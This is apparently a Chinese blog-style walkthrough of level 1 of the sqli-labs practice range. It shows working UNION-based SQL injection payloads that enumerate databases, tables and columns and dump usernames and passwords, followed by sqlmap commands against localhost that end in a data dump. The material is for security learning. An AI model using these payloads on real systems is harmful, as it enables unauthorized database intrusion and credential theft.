前言:
各位,我准备最近把靶场练一下,看看别人的payload,跟着别人学一下怎么实战。我用的靶场是sqli-labs。
正文:
第一关:
(1)找注入点:
刚开始界面是这样的,然后题目说了,输入ID,那不出意外id应该就是注入点,试一下。
?id=1'
?id=1''
(2)没错了,差不多就是这个点,找列
?id=1' order by 3 --+
说明三列。(数字3试出来的,输入2报错,输入3不报错,输入4报错,说明是3列)
(3)查数据库名字
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
首先说一个问题,id为什么等于-1不等于1,是因为如果id=1 前半句就为真了因为数据库里真有id=1的数据,所以就会返回id=1的那一条数据,如果等于-1,则前半句为假,就会继续执行后半句,然后会返回给我们数据库的名字。
其次,这条语句查询的是我电脑里所有数据库的名字,每个人查询的结果肯定不同,但是肯定都有一个数据库security,这个数据库是我们靶场使用的数据库名字。
information_schema,
big_event,
books,
challenges,
db_dorm,
db_select_course,
db_weibo,
dvwa,
hrs,
jdbc,
mysql,
network,
performance_schema,
security,
sys,
test,
videoteach,
wifiremen.
(4)查数据库中的表的名字
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
(5)查users表
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
(6)查users表中的值
?id=-1' union select 1,group_concat(username),group_concat(password) from security.users--+
下面用SQLMAP跑一遍:
(1)测注入点:
sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-1/?id=1
(2)测数据库名
sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-1/?id=1 --dbs
(3)测表名
sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-1/?id=1 -D security --tables
(4)测列名
sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-1/?id=1 -D security -T users --columns
(5)测数据:
sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-1/?id=1 -D security -T users -C id,password,username --dump
结束结束,完美简直。